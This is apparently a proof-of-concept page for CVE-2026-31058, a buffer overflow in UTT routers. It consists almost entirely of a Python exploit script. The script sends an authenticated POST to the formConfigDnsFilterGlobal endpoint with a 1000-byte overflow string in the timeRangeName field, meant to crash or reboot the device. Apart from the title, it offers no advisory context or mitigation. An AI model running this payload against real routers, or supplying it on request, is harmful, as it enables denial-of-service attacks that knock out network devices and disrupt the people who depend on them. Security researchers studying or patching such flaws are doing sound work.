CVE-2026-31058 UTT路由器缓冲区溢出漏洞

import requests def exploit(target_ip, session_cookie): # Target endpoint based on vulnerability description url = f"http://{target_ip}/goform/formConfigDnsFilterGlobal" # Headers to simulate a legitimate browser request headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } # Payload: A long string to trigger buffer overflow in 'timeRangeName' # Adjust the length (e.g., 1000 bytes) based on the specific buffer size overflow_payload = "A" * 1000 # Data to be sent in the POST request data = { "timeRangeName": overflow_payload, "action": "save" } # Cookies for authentication (High Privileges required) cookies = { "uid": session_cookie } try: print(f"[+] Sending payload to {target_ip}...") response = requests.post(url, headers=headers, data=data, cookies=cookies, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully.") print("[!] Check if the device has crashed or rebooted.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") print("[!] This might indicate a successful DoS (device unresponsive).") if __name__ == "__main__": # Replace with actual target IP and valid session cookie target = "192.168.1.1" cookie = "valid_admin_session_id_here" exploit(target, cookie)